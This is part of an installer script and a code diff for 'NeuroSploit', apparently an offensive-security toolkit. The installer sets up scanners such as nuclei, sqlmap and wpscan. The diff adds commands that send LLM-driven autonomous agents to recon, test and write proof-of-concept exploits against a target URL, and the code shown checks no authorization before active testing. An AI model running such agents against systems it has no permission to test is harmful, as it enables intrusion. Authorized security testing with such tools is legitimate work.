echo -e " ${YELLOW}[~]${NC} Installing $tool_name..."
cargo install "$crate_name" 2>/dev/null
if command_exists "$tool_name"; then
echo -e " ${GREEN}[✓]${NC} $tool_name - installed successfully"
else
echo -e " ${RED}[✗]${NC} $tool_name - installation failed"
fi
}
# Install system packages
install_system_packages() {
echo -e "${BLUE}[*] Installing system packages...${NC}"
if [ "$OS" == "macos" ]; then
brew update
brew install nmap curl wget jq git python3 2>/dev/null || true
brew install feroxbuster 2>/dev/null || true
brew install nikto 2>/dev/null || true
brew install whatweb 2>/dev/null || true
elif [ "$OS" == "debian" ]; then
sudo apt update
sudo apt install -y nmap curl wget jq git python3 python3-pip dnsutils whois
sudo apt install -y nikto whatweb 2>/dev/null || true
elif [ "$OS" == "redhat" ]; then
sudo dnf install -y nmap curl wget jq git python3 python3-pip bind-utils whois
elif [ "$OS" == "arch" ]; then
sudo pacman -Syu --noconfirm nmap curl wget jq git python python-pip dnsutils whois
sudo pacman -S --noconfirm nikto whatweb 2>/dev/null || true
fi
}
# Install Go-based tools
install_go_tools() {
echo -e "\n${BLUE}[*] Installing Go-based reconnaissance tools...${NC}"
# Ensure Go paths are set
export GOPATH=${GOPATH:-$HOME/go}
export PATH=$PATH:$GOPATH/bin
# ProjectDiscovery tools
install_go_tool "subfinder" "github.com/projectdiscovery/subfinder/v2/cmd/subfinder"
install_go_tool "httpx" "github.com/projectdiscovery/httpx/cmd/httpx"
install_go_tool "nuclei" "github.com/projectdiscovery/nuclei/v3/cmd/nuclei"
install_go_tool "naabu" "github.com/projectdiscovery/naabu/v2/cmd/naabu"
install_go_tool "katana" "github.com/projectdiscovery/katana/cmd/katana"
install_go_tool "dnsx" "github.com/projectdiscovery/dnsx/cmd/dnsx"
install_go_tool "shuffledns" "github.com/projectdiscovery/shuffledns/cmd/shuffledns"
# Other Go tools
install_go_tool "amass" "github.com/owasp-amass/amass/v4/..."
install_go_tool "assetfinder" "github.com/tomnomnom/assetfinder"
install_go_tool "waybackurls" "github.com/tomnomnom/waybackurls"
install_go_tool "gau" "github.com/lc/gau/v2/cmd/gau"
install_go_tool "httprobe" "github.com/tomnomnom/httprobe"
install_go_tool "ffuf" "github.com/ffuf/ffuf/v2"
install_go_tool "gobuster" "github.com/OJ/gobuster/v3"
install_go_tool "gospider" "github.com/jaeles-project/gospider"
install_go_tool "hakrawler" "github.com/hakluke/hakrawler"
install_go_tool "subjack" "github.com/haccer/subjack"
install_go_tool "gowitness" "github.com/sensepost/gowitness"
install_go_tool "findomain" "github.com/Findomain/Findomain"
}
# Install Rust-based tools
install_rust_tools() {
echo -e "\n${BLUE}[*] Installing Rust-based tools...${NC}"
source "$HOME/.cargo/env" 2>/dev/null || true
install_cargo_tool "rustscan" "rustscan"
install_cargo_tool "feroxbuster" "feroxbuster"
}
# Install Nuclei templates
install_nuclei_templates() {
echo -e "\n${BLUE}[*] Updating Nuclei templates...${NC}"
if command_exists nuclei; then
nuclei -update-templates 2>/dev/null || echo -e "${YELLOW} [!] Template update failed, run manually: nuclei -update-templates${NC}"
echo -e " ${GREEN}[✓]${NC} Nuclei templates updated"
else
echo -e " ${RED}[✗]${NC} Nuclei not installed, skipping templates"
fi
}
# Install SecLists
install_seclists() {
echo -e "\n${BLUE}[*] Checking SecLists...${NC}"
SECLISTS_PATH="/opt/wordlists/SecLists"
if [ -d "$SECLISTS_PATH" ]; then
echo -e " ${GREEN}[✓]${NC} SecLists already installed at $SECLISTS_PATH"
return 0
fi
echo -e " ${YELLOW}[~]${NC} Installing SecLists..."
sudo mkdir -p /opt/wordlists
sudo git clone --depth 1 https://github.com/danielmiessler/SecLists.git "$SECLISTS_PATH" 2>/dev/null || {
echo -e " ${RED}[✗]${NC} SecLists installation failed"
return 1
}
# Create symlinks for common wordlists
sudo ln -sf "$SECLISTS_PATH/Discovery/Web-Content/common.txt" /opt/wordlists/common.txt 2>/dev/null
sudo ln -sf "$SECLISTS_PATH/Discovery/Web-Content/raft-medium-directories.txt" /opt/wordlists/directories.txt 2>/dev/null
sudo ln -sf "$SECLISTS_PATH/Discovery/DNS/subdomains-top1million-5000.txt" /opt/wordlists/subdomains.txt 2>/dev/null
echo -e " ${GREEN}[✓]${NC} SecLists installed"
}
# Install additional tools via package managers or manual
install_additional_tools() {
echo -e "\n${BLUE}[*] Installing additional tools...${NC}"
# wafw00f
if ! command_exists wafw00f; then
echo -e " ${YELLOW}[~]${NC} Installing wafw00f..."
pip3 install wafw00f 2>/dev/null || pip install wafw00f 2>/dev/null
fi
print_status "wafw00f"
# paramspider
if ! command_exists paramspider; then
echo -e " ${YELLOW}[~]${NC} Installing paramspider..."
pip3 install paramspider 2>/dev/null || {
git clone https://github.com/devanshbatham/ParamSpider.git /tmp/paramspider 2>/dev/null
cd /tmp/paramspider && pip3 install . 2>/dev/null
cd -
}
fi
print_status "paramspider"
# whatweb
if ! command_exists whatweb; then
if [ "$OS" == "macos" ]; then
brew install whatweb 2>/dev/null
elif [ "$OS" == "debian" ]; then
sudo apt install -y whatweb 2>/dev/null
fi
fi
print_status "whatweb"
# nikto
if ! command_exists nikto; then
if [ "$OS" == "macos" ]; then
brew install nikto 2>/dev/null
elif [ "$OS" == "debian" ]; then
sudo apt install -y nikto 2>/dev/null
fi
fi
print_status "nikto"
# sqlmap
if ! command_exists sqlmap; then
echo -e " ${YELLOW}[~]${NC} Installing sqlmap..."
if [ "$OS" == "macos" ]; then
brew install sqlmap 2>/dev/null
elif [ "$OS" == "debian" ]; then
sudo apt install -y sqlmap 2>/dev/null
else
pip3 install sqlmap 2>/dev/null
fi
fi
print_status "sqlmap"
# eyewitness
if ! command_exists eyewitness; then
echo -e " ${YELLOW}[~]${NC} Installing EyeWitness..."
git clone https://github.com/RedSiege/EyeWitness.git /opt/EyeWitness 2>/dev/null || true
if [ -d "/opt/EyeWitness" ]; then
cd /opt/EyeWitness/Python/setup
sudo ./setup.sh 2>/dev/null || true
sudo ln -sf /opt/EyeWitness/Python/EyeWitness.py /usr/local/bin/eyewitness 2>/dev/null
cd -
fi
fi
print_status "eyewitness"
# wpscan
if ! command_exists wpscan; then
echo -e " ${YELLOW}[~]${NC} Installing wpscan..."
if [ "$OS" == "macos" ]; then
brew install wpscan 2>/dev/null
else
sudo gem install wpscan 2>/dev/null || true
fi
fi
print_status "wpscan"
# dirsearch
if ! command_exists dirsearch; then
echo -e " ${YELLOW}[~]${NC} Installing dirsearch..."
pip3 install dirsearch 2>/dev/null || {
git clone https://github.com/maurosoria/dirsearch.git /opt/dirsearch 2>/dev/null
sudo ln -sf /opt/dirsearch/dirsearch.py /usr/local/bin/dirsearch 2>/dev/null
}
fi
print_status "dirsearch"
# massdns (for shuffledns/puredns)
if ! command_exists massdns; then
echo -e " ${YELLOW}[~]${NC} Installing massdns..."
git clone https://github.com/blechschmidt/massdns.git /tmp/massdns 2>/dev/null
cd /tmp/massdns && make 2>/dev/null && sudo make install 2>/dev/null
cd -
fi
print_status "massdns"
# puredns
if ! command_exists puredns; then
echo -e " ${YELLOW}[~]${NC} Installing puredns..."
go install github.com/d3mondev/puredns/v2@latest 2>/dev/null
fi
print_status "puredns"
# waymore
if ! command_exists waymore; then
echo -e " ${YELLOW}[~]${NC} Installing waymore..."
pip3 install waymore 2>/dev/null || pip install waymore 2>/dev/null
fi
print_status "waymore"
}
# Check all tools status
check_tools_status() {
echo -e "\n${CYAN}═══════════════════════════════════════════════════════════════${NC}"
echo -e "${CYAN} TOOLS STATUS SUMMARY ${NC}"
echo -e "${CYAN}═══════════════════════════════════════════════════════════════${NC}\n"
echo -e "${BLUE}[Subdomain Enumeration]${NC}"
print_status "subfinder"
print_status "amass"
print_status "assetfinder"
print_status "findomain"
print_status "puredns"
print_status "shuffledns"
print_status "massdns"
echo -e "\n${BLUE}[HTTP Probing]${NC}"
print_status "httpx"
print_status "httprobe"
echo -e "\n${BLUE}[URL Collection]${NC}"
print_status "gau"
print_status "waybackurls"
print_status "waymore"
print_status "hakrawler"
echo -e "\n${BLUE}[Web Crawling]${NC}"
print_status "katana"
print_status "gospider"
echo -e "\n${BLUE}[Directory Bruteforce]${NC}"
print_status "feroxbuster"
print_status "gobuster"
print_status "ffuf"
print_status "dirsearch"
echo -e "\n${BLUE}[Port Scanning]${NC}"
print_status "rustscan"
print_status "naabu"
print_status "nmap"
echo -e "\n${BLUE}[Vulnerability Scanning]${NC}"
print_status "nuclei"
print_status "nikto"
print_status "sqlmap"
print_status "wpscan"
echo -e "\n${BLUE}[WAF Detection]${NC}"
print_status "wafw00f"
echo -e "\n${BLUE}[Parameter Discovery]${NC}"
print_status "paramspider"
echo -e "\n${BLUE}[Fingerprinting]${NC}"
print_status "whatweb"
echo -e "\n${BLUE}[Screenshot]${NC}"
print_status "gowitness"
print_status "eyewitness"
echo -e "\n${BLUE}[Subdomain Takeover]${NC}"
print_status "subjack"
echo -e "\n${BLUE}[DNS Tools]${NC}"
print_status "dnsx"
print_status "dig"
echo -e "\n${BLUE}[Utilities]${NC}"
print_status "curl"
print_status "wget"
print_status "jq"
print_status "git"
echo -e "\n${BLUE}[Wordlists]${NC}"
if [ -d "/opt/wordlists/SecLists" ]; then
echo -e " ${GREEN}[✓]${NC} SecLists - installed at /opt/wordlists/SecLists"
else
echo -e " ${RED}[✗]${NC} SecLists - not found"
fi
}
# Update PATH
update_path() {
echo -e "\n${BLUE}[*] Updating PATH...${NC}"
# Add Go bin to PATH
if ! grep -q 'GOPATH' ~/.bashrc 2>/dev/null; then
echo 'export GOPATH=$HOME/go' >> ~/.bashrc
echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc
fi
if ! grep -q 'GOPATH' ~/.zshrc 2>/dev/null; then
echo 'export GOPATH=$HOME/go' >> ~/.zshrc 2>/dev/null || true
echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.zshrc 2>/dev/null || true
fi
# Add Cargo bin to PATH
if ! grep -q '.cargo/bin' ~/.bashrc 2>/dev/null; then
echo 'export PATH=$PATH:$HOME/.cargo/bin' >> ~/.bashrc
fi
# Source for current session
export GOPATH=$HOME/go
export PATH=$PATH:$GOPATH/bin:$HOME/.cargo/bin
echo -e " ${GREEN}[✓]${NC} PATH updated"
}
# Main installation function
main() {
echo -e "${BLUE}[*] Starting NeuroSploit tools installation...${NC}\n"
detect_os
# Parse arguments
INSTALL_ALL=false
CHECK_ONLY=false
while [[ "$#" -gt 0 ]]; do
case $1 in
--all) INSTALL_ALL=true ;;
--check) CHECK_ONLY=true ;;
--help|-h)
echo "Usage: $0 [OPTIONS]"
echo ""
echo "Options:"
echo " --all Install all tools (full installation)"
echo " --check Only check tool status, don't install"
echo " --help Show this help message"
echo ""
exit 0
;;
*) echo "Unknown parameter: $1"; exit 1 ;;
esac
shift
done
if [ "$CHECK_ONLY" = true ]; then
check_tools_status
exit 0
fi
# Installation steps
install_system_packages
install_go
install_rust
install_python_packages
install_go_tools
install_rust_tools
install_additional_tools
install_seclists
install_nuclei_templates
update_path
# Final status check
check_tools_status
echo -e "\n${GREEN}═══════════════════════════════════════════════════════════════${NC}"
echo -e "${GREEN} INSTALLATION COMPLETE! ${NC}"
echo -e "${GREEN}═══════════════════════════════════════════════════════════════${NC}"
echo -e "\n${YELLOW}[!] Please restart your terminal or run: source ~/.bashrc${NC}"
echo -e "${YELLOW}[!] Some tools may require sudo privileges to run${NC}\n"
}
# Run main
main "$@"
+761 -4
View File
@@ -37,6 +37,23 @@ from core.context_builder import ReconContextBuilder
from agents.base_agent import BaseAgent
from tools.recon.recon_tools import FullReconRunner
# Import AI Agents
try:
from backend.core.ai_pentest_agent import AIPentestAgent
except ImportError:
AIPentestAgent = None
try:
from backend.core.autonomous_agent import AutonomousAgent, OperationMode
from backend.core.task_library import get_task_library, Task, TaskCategory
except ImportError:
AutonomousAgent = None
OperationMode = None
get_task_library = None
Task = None
TaskCategory = None
class Completer:
def __init__(self, neurosploit):
self.neurosploit = neurosploit
@@ -44,7 +61,12 @@ class Completer:
"help", "run_agent", "config", "list_roles", "list_profiles",
"set_profile", "set_agent", "discover_ollama", "install_tools",
"scan", "quick_scan", "recon", "full_recon", "check_tools",
"experience", "wizard", "analyze", "exit", "quit"
"experience", "wizard", "analyze", "agent", "ai_agent",
# New autonomous agent modes
"pentest", "full_auto", "recon_only", "prompt_only", "analyze_only",
# Task library
"tasks", "task", "list_tasks", "create_task", "run_task",
"exit", "quit"
]
self.agent_roles = list(self.neurosploit.config.get('agent_roles', {}).keys())
self.llm_profiles = list(self.neurosploit.config.get('llm', {}).get('profiles', {}).keys())
@@ -950,6 +972,465 @@ CONTEXTO DE RECON:
"context_text_file": recon_results.get('context_text_file', '')
}
def run_ai_agent(
self,
target: str,
prompt_file: Optional[str] = None,
context_file: Optional[str] = None,
llm_profile: Optional[str] = None
) -> Dict:
"""
Run the AI Offensive Security Agent.
This is an autonomous agent that:
- Uses LLM for intelligent vulnerability testing
- Confirms vulnerabilities with AI (no false positives)
- Uses recon data to inform testing
- Accepts custom .md prompt files
- Generates PoC code
Args:
target: Target URL to test
prompt_file: Optional .md file with custom testing instructions
context_file: Optional recon context JSON file
llm_profile: Optional LLM profile to use
"""
if not AIPentestAgent:
print("[!] AI Agent not available. Check backend installation.")
return {"error": "AI Agent not installed"}
print(f"\n{'='*70}")
print(" NEUROSPLOIT AI OFFENSIVE SECURITY AGENT")
print(f"{'='*70}")
print(f"\n[*] Target: {target}")
if prompt_file:
print(f"[*] Prompt file: {prompt_file}")
if context_file:
print(f"[*] Context file: {context_file}")
print(f"[*] Session ID: {self.session_id}")
print()
# Load recon context if provided
recon_context = None
if context_file:
from core.context_builder import load_context_from_file
recon_context = load_context_from_file(context_file)
if recon_context:
print(f"[+] Loaded recon context: {len(recon_context.get('data', {}).get('endpoints', []))} endpoints")
# Initialize LLM manager
profile = llm_profile or self.config.get('llm', {}).get('default_profile')
self._initialize_llm_manager(profile)
# Run the agent
import asyncio
async def run_agent():
async def log_callback(level: str, message: str):
prefix = {
"info": "[*]",
"warning": "[!]",
"error": "[X]",
"debug": "[D]",
}.get(level, "[*]")
print(f"{prefix} {message}")
async with AIPentestAgent(
target=target,
llm_manager=self.llm_manager_instance,
log_callback=log_callback,
prompt_file=prompt_file,
recon_context=recon_context,
config=self.config,
max_depth=5
) as agent:
report = await agent.run()
return report
try:
report = asyncio.run(run_agent())
except Exception as e:
logger.error(f"Agent error: {e}")
import traceback
traceback.print_exc()
return {"error": str(e)}
# Save results
if report and report.get("findings"):
result_file = f"results/agent_{self.session_id}.json"
with open(result_file, 'w') as f:
json.dump(report, f, indent=2, default=str)
print(f"\n[+] Results saved: {result_file}")
# Generate HTML report
self._generate_agent_report(report)
print(f"\n{'='*70}")
print("[+] AI AGENT COMPLETE!")
print(f" Vulnerabilities found: {len(report.get('findings', []))}")
print(f"{'='*70}\n")
return report
def run_autonomous_agent(
self,
target: str,
mode: str = "full_auto",
task_id: Optional[str] = None,
prompt: Optional[str] = None,
prompt_file: Optional[str] = None,
context_file: Optional[str] = None,
llm_profile: Optional[str] = None
) -> Dict:
"""
Run the Autonomous AI Security Agent.
Modes:
- recon_only: Just reconnaissance, no testing
- full_auto: Complete workflow (Recon -> Analyze -> Test -> Report)
- prompt_only: AI decides everything based on prompt (HIGH TOKEN USAGE!)
- analyze_only: Analysis of provided data, no active testing
Args:
target: Target URL/domain
mode: Operation mode
task_id: Task from library to execute
prompt: Custom prompt
prompt_file: Path to .md prompt file
context_file: Path to recon context JSON
llm_profile: LLM profile to use
"""
if not AutonomousAgent:
print("[!] Autonomous Agent not available. Check installation.")
return {"error": "Agent not installed"}
print(f"\n{'='*70}")
print(" NEUROSPLOIT AUTONOMOUS AI AGENT")
print(f"{'='*70}")
print(f"\n[*] Target: {target}")
print(f"[*] Mode: {mode.upper()}")
# Warning for prompt_only mode
if mode == "prompt_only":
print("\n[!] WARNING: PROMPT-ONLY MODE")
print("[!] This mode uses significantly more tokens than other modes.")
print("[!] The AI will decide what tools to use based on your prompt.\n")
# Load task from library
task = None
if task_id and get_task_library:
library = get_task_library()
task = library.get_task(task_id)
if task:
print(f"[*] Task: {task.name}")
prompt = task.prompt
else:
print(f"[!] Task not found: {task_id}")
# Load prompt from file
if prompt_file:
print(f"[*] Prompt file: {prompt_file}")
try:
path = Path(prompt_file)
for search in [path, Path("prompts") / path, Path("prompts/md_library") / path]:
if search.exists():
prompt = search.read_text()
break
except Exception as e:
print(f"[!] Error loading prompt file: {e}")
# Load recon context
recon_context = None
if context_file:
from core.context_builder import load_context_from_file
recon_context = load_context_from_file(context_file)
if recon_context:
print(f"[+] Loaded context: {context_file}")
# Get operation mode
mode_map = {
"recon_only": OperationMode.RECON_ONLY,
"full_auto": OperationMode.FULL_AUTO,
"prompt_only": OperationMode.PROMPT_ONLY,
"analyze_only": OperationMode.ANALYZE_ONLY,
}
op_mode = mode_map.get(mode, OperationMode.FULL_AUTO)
# Initialize LLM
profile = llm_profile or self.config.get('llm', {}).get('default_profile')
self._initialize_llm_manager(profile)
print(f"[*] Session: {self.session_id}\n")
# Run agent
import asyncio
async def run():
async def log_cb(level: str, message: str):
prefix = {"info": "[*]", "warning": "[!]", "error": "[X]", "debug": "[D]"}.get(level, "[*]")
print(f"{prefix} {message}")
async def progress_cb(progress: int, message: str):
bar = "=" * (progress // 5) + ">" + " " * (20 - progress // 5)
print(f"\r[{bar}] {progress}% - {message}", end="", flush=True)
if progress == 100:
print()
async with AutonomousAgent(
target=target,
mode=op_mode,
llm_manager=self.llm_manager_instance,
log_callback=log_cb,
progress_callback=progress_cb,
task=task,
custom_prompt=prompt,
recon_context=recon_context,
config=self.config,
prompt_file=prompt_file
) as agent:
return await agent.run()
try:
report = asyncio.run(run())
except Exception as e:
logger.error(f"Agent error: {e}")
import traceback
traceback.print_exc()
return {"error": str(e)}
# Save results
result_file = f"results/autonomous_{self.session_id}.json"
with open(result_file, 'w') as f:
json.dump(report, f, indent=2, default=str)
print(f"\n[+] Results saved: {result_file}")
# Generate HTML report
if report.get("findings"):
self._generate_autonomous_report(report)
return report
def list_tasks(self):
"""List all available tasks from library"""
if not get_task_library:
print("[!] Task library not available")
return
library = get_task_library()
tasks = library.list_tasks()
print(f"\n{'='*70}")
print(" TASK LIBRARY")
print(f"{'='*70}\n")
# Group by category
by_category = {}
for task in tasks:
cat = task.category
if cat not in by_category:
by_category[cat] = []
by_category[cat].append(task)
for category, cat_tasks in by_category.items():
print(f"[{category.upper()}]")
for task in cat_tasks:
preset = " (preset)" if task.is_preset else ""
print(f" {task.id:<25} - {task.name}{preset}")
print()
print(f"Total: {len(tasks)} tasks")
print("\nUse: run_task <task_id> <target>")
def create_task(self, name: str, prompt: str, category: str = "custom"):
"""Create a new task in the library"""
if not get_task_library or not Task:
print("[!] Task library not available")
return
library = get_task_library()
task = Task(
id=f"custom_{datetime.now().strftime('%Y%m%d_%H%M%S')}",
name=name,
description=prompt[:100],
category=category,
prompt=prompt,
is_preset=False
)
library.create_task(task)
print(f"[+] Task created: {task.id}")
return task
def _generate_autonomous_report(self, report: Dict):
"""Generate HTML report from autonomous agent results"""
from core.report_generator import ReportGenerator
# Convert to scan format
scan_data = {
"target": report.get("target", ""),
"scan_started": report.get("scan_date", ""),
"scan_completed": datetime.now().isoformat(),
"vulnerabilities": [],
"technologies": report.get("summary", {}).get("technologies", []),
}
for finding in report.get("findings", []):
vuln = {
"title": finding.get("title", "Unknown"),
"severity": finding.get("severity", "medium"),
"description": finding.get("description", ""),
"technical_details": finding.get("technical_details", ""),
"affected_endpoint": finding.get("endpoint", ""),
"payload": finding.get("payload", ""),
"evidence": finding.get("evidence", ""),
"impact": finding.get("impact", ""),
"poc_code": finding.get("poc_code", ""),
"exploitation_steps": finding.get("exploitation_steps", []),
"remediation": finding.get("remediation", ""),
"references": finding.get("references", []),
}
# Add CVSS
if finding.get("cvss"):
cvss = finding["cvss"]
vuln["cvss_score"] = cvss.get("score", 0)
vuln["cvss_vector"] = cvss.get("vector", "")
# Add CWE
if finding.get("cwe_id"):
vuln["cwe_id"] = finding["cwe_id"]
scan_data["vulnerabilities"].append(vuln)
# Generate LLM analysis summary
summary = report.get("summary", {})
llm_analysis = f"""
## Autonomous AI Agent Assessment Report
**Target:** {report.get('target', '')}
**Mode:** {report.get('mode', 'full_auto').upper()}
**Scan Date:** {report.get('scan_date', '')}
### Executive Summary
Risk Level: **{summary.get('risk_level', 'UNKNOWN')}**
### Findings Summary
| Severity | Count |
|----------|-------|
| Critical | {summary.get('critical', 0)} |
| High | {summary.get('high', 0)} |
| Medium | {summary.get('medium', 0)} |
| Low | {summary.get('low', 0)} |
| Info | {summary.get('info', 0)} |
**Total Findings:** {summary.get('total_findings', 0)}
**Endpoints Tested:** {summary.get('endpoints_tested', 0)}
### Technologies Detected
{', '.join(summary.get('technologies', [])) or 'None detected'}
### Detailed Findings
"""
for i, finding in enumerate(report.get("findings", []), 1):
cvss_info = ""
if finding.get("cvss"):
cvss_info = f"**CVSS:** {finding['cvss'].get('score', 'N/A')} ({finding['cvss'].get('vector', '')})"
llm_analysis += f"""
---
#### {i}. {finding.get('title', 'Unknown')} [{finding.get('severity', 'medium').upper()}]
{cvss_info}
**CWE:** {finding.get('cwe_id', 'N/A')}
**Endpoint:** `{finding.get('endpoint', 'N/A')}`
**Description:**
{finding.get('description', 'No description')}
**Impact:**
{finding.get('impact', 'No impact assessment')}
**Evidence:**
```
{finding.get('evidence', 'No evidence')}
```
**Proof of Concept:**
```python
{finding.get('poc_code', '# No PoC available')}
```
**Remediation:**
{finding.get('remediation', 'No remediation provided')}
"""
# Recommendations
if report.get("recommendations"):
llm_analysis += "\n### Recommendations\n"
for rec in report["recommendations"]:
llm_analysis += f"- {rec}\n"
report_gen = ReportGenerator(scan_data, llm_analysis)
html_report = report_gen.save_report("reports")
print(f"[+] HTML Report: {html_report}")
def _generate_agent_report(self, report: Dict):
"""Generate HTML report from AI agent results"""
from core.report_generator import ReportGenerator
# Convert agent report to scan format
scan_data = {
"target": report.get("target", ""),
"scan_started": report.get("scan_date", ""),
"scan_completed": datetime.now().isoformat(),
"vulnerabilities": [],
"technologies": report.get("summary", {}).get("technologies", []),
}
for finding in report.get("findings", []):
scan_data["vulnerabilities"].append({
"title": f"{finding['type'].upper()} - {finding['severity'].upper()}",
"severity": finding["severity"],
"description": finding.get("evidence", ""),
"affected_endpoint": finding.get("endpoint", ""),
"payload": finding.get("payload", ""),
"poc_code": finding.get("poc_code", ""),
"exploitation_steps": finding.get("exploitation_steps", []),
"llm_analysis": finding.get("llm_analysis", ""),
})
# Generate LLM analysis summary
llm_analysis = f"""
## AI Agent Analysis Summary
**Target:** {report.get('target', '')}
**Scan Date:** {report.get('scan_date', '')}
**LLM Enabled:** {report.get('llm_enabled', False)}
### Summary
- Total Endpoints: {report.get('summary', {}).get('total_endpoints', 0)}
- Total Parameters: {report.get('summary', {}).get('total_parameters', 0)}
- Vulnerabilities Found: {report.get('summary', {}).get('total_vulnerabilities', 0)}
- Critical: {report.get('summary', {}).get('critical', 0)}
- High: {report.get('summary', {}).get('high', 0)}
- Medium: {report.get('summary', {}).get('medium', 0)}
- Low: {report.get('summary', {}).get('low', 0)}
### Findings
"""
for i, finding in enumerate(report.get("findings", []), 1):
llm_analysis += f"""
#### {i}. {finding['type'].upper()} [{finding['severity'].upper()}]
- **Endpoint:** {finding.get('endpoint', '')}
- **Payload:** `{finding.get('payload', '')}`
- **Evidence:** {finding.get('evidence', '')}
- **Confidence:** {finding.get('confidence', 'medium')}
- **LLM Analysis:** {finding.get('llm_analysis', 'N/A')}
"""
report_gen = ReportGenerator(scan_data, llm_analysis)
html_report = report_gen.save_report("reports")
print(f"[+] HTML Report: {html_report}")
def check_tools_status(self):
"""Check and display status of all pentest tools"""
print("\n" + "="*60)
@@ -1138,6 +1619,181 @@ CONTEXTO DE RECON:
else:
print("Usage: analyze <context_file.json>")
print(" Then enter your analysis prompt")
elif cmd.startswith('agent ') or cmd.startswith('ai_agent '):
# AI Agent command
# Format: agent <target> [--prompt <file.md>] [--context <context.json>]
parts = cmd.split()
if len(parts) >= 2:
target = parts[1].strip().strip('"')
prompt_file = None
context_file = None
# Parse optional arguments
i = 2
while i < len(parts):
if parts[i] in ['--prompt', '-p'] and i + 1 < len(parts):
prompt_file = parts[i + 1].strip().strip('"')
i += 2
elif parts[i] in ['--context', '-c'] and i + 1 < len(parts):
context_file = parts[i + 1].strip().strip('"')
i += 2
else:
i += 1
# Get LLM profile
llm_profile = self.config.get('llm', {}).get('default_profile')
self.run_ai_agent(target, prompt_file, context_file, llm_profile)
else:
print("Usage: agent <target_url> [--prompt <file.md>] [--context <context.json>]")
print("")
print("Examples:")
print(" agent https://example.com")
print(" agent https://example.com --prompt bug_bounty.md")
print(" agent https://example.com --context results/context_X.json")
print("")
print("The AI Agent will:")
print(" 1. Use LLM for intelligent vulnerability testing")
print(" 2. Confirm findings with AI (no false positives)")
print(" 3. Generate PoC code for exploits")
print(" 4. Use recon data if context file provided")
# === NEW AUTONOMOUS AGENT MODES ===
elif cmd.startswith('pentest ') or cmd.startswith('full_auto '):
# Full autonomous pentest mode
parts = cmd.split()
if len(parts) >= 2:
target = parts[1].strip().strip('"')
task_id = None
prompt_file = None
context_file = None
i = 2
while i < len(parts):
if parts[i] in ['--task', '-t'] and i + 1 < len(parts):
task_id = parts[i + 1].strip()
i += 2
elif parts[i] in ['--prompt', '-p'] and i + 1 < len(parts):
prompt_file = parts[i + 1].strip().strip('"')
i += 2
elif parts[i] in ['--context', '-c'] and i + 1 < len(parts):
context_file = parts[i + 1].strip().strip('"')
i += 2
else:
i += 1
self.run_autonomous_agent(target, "full_auto", task_id, None, prompt_file, context_file)
else:
print("Usage: pentest <target> [--task <task_id>] [--prompt <file.md>] [--context <file.json>]")
print("")
print("Full autonomous pentest: Recon -> Analyze -> Test -> Report")
elif cmd.startswith('recon_only '):
# Recon-only mode
parts = cmd.split()
if len(parts) >= 2:
target = parts[1].strip().strip('"')
self.run_autonomous_agent(target, "recon_only")
else:
print("Usage: recon_only <target>")
print("Just reconnaissance, no vulnerability testing")
elif cmd.startswith('prompt_only '):
# Prompt-only mode (high token usage)
parts = cmd.split()
if len(parts) >= 2:
target = parts[1].strip().strip('"')
prompt = None
prompt_file = None
i = 2
while i < len(parts):
if parts[i] in ['--prompt', '-p'] and i + 1 < len(parts):
prompt_file = parts[i + 1].strip().strip('"')
i += 2
else:
i += 1
if not prompt_file:
print("Enter your prompt (end with empty line):")
lines = []
while True:
line = input()
if not line:
break
lines.append(line)
prompt = "\n".join(lines)
print("\n[!] WARNING: PROMPT-ONLY MODE uses more tokens!")
self.run_autonomous_agent(target, "prompt_only", None, prompt, prompt_file)
else:
print("Usage: prompt_only <target> [--prompt <file.md>]")
print("")
print("WARNING: This mode uses significantly more tokens!")
print("The AI will decide what tools to use based on your prompt.")
elif cmd.startswith('analyze_only '):
# Analyze-only mode
parts = cmd.split()
if len(parts) >= 2:
target = parts[1].strip().strip('"')
context_file = None
i = 2
while i < len(parts):
if parts[i] in ['--context', '-c'] and i + 1 < len(parts):
context_file = parts[i + 1].strip().strip('"')
i += 2
else:
i += 1
self.run_autonomous_agent(target, "analyze_only", None, None, None, context_file)
else:
print("Usage: analyze_only <target> [--context <file.json>]")
print("Analysis only, no active testing")
# === TASK LIBRARY COMMANDS ===
elif cmd in ['tasks', 'list_tasks']:
self.list_tasks()
elif cmd.startswith('run_task '):
parts = cmd.split()
if len(parts) >= 3:
task_id = parts[1].strip()
target = parts[2].strip().strip('"')
context_file = None
i = 3
while i < len(parts):
if parts[i] in ['--context', '-c'] and i + 1 < len(parts):
context_file = parts[i + 1].strip().strip('"')
i += 2
else:
i += 1
self.run_autonomous_agent(target, "full_auto", task_id, None, None, context_file)
else:
print("Usage: run_task <task_id> <target> [--context <file.json>]")
print("Use 'tasks' to list available tasks")
elif cmd.startswith('create_task'):
print("Create a new task for the library")
name = input("Task name: ").strip()
if not name:
print("Cancelled")
continue
print("Enter task prompt (end with empty line):")
lines = []
while True:
line = input()
if not line:
break
lines.append(line)
prompt = "\n".join(lines)
if prompt:
self.create_task(name, prompt)
else:
print("Cancelled - no prompt provided")
else:
print("Unknown command. Type 'help' for available commands.")
except KeyboardInterrupt:
@@ -1236,9 +1892,32 @@ TOOL MANAGEMENT:
install_tools - Install required pentest tools
check_tools - Check which tools are installed
AGENT COMMANDS (AI Analysis):
run_agent <role> "<input>" - Execute AI agent with input
set_agent <agent_name> - Set default agent for AI analysis
AUTONOMOUS AI AGENT (Like PentAGI):
pentest <url> - Full auto: Recon -> Analyze -> Test -> Report
pentest <url> --task <id> - Use preset task from library
recon_only <url> - Just reconnaissance, no testing
prompt_only <url> - AI decides everything (HIGH TOKEN USAGE!)
analyze_only <url> -c <f> - Analysis only, no active testing
The autonomous agent generates:
- CVSS scores with vector strings
- Detailed descriptions and impact analysis
- Working PoC code
- Remediation recommendations
- Professional HTML reports
TASK LIBRARY:
tasks / list_tasks - List all available tasks
run_task <id> <url> - Run a task from the library
create_task - Create and save a new task
Preset tasks include: full_bug_bounty, vuln_owasp_top10,
vuln_api_security, recon_full, etc.
LEGACY AGENT:
agent <url> - Simple AI agent (basic testing)
run_agent <role> "<input>" - Execute an agent role
set_agent <agent_name> - Set default agent
CONFIGURATION:
list_roles - List all available agent roles
@@ -1263,6 +1942,8 @@ EXAMPLES:
analyze results/context_X.json - LLM analysis of context file
scan https://example.com - Full pentest scan
quick_scan 192.168.1.1 - Quick vulnerability check
agent https://target.com - AI Agent pentest (uses LLM)
agent https://target.com -p bug_bounty.md -c context.json
=======================================================================
""")
@@ -1324,6 +2005,26 @@ EXAMPLES:
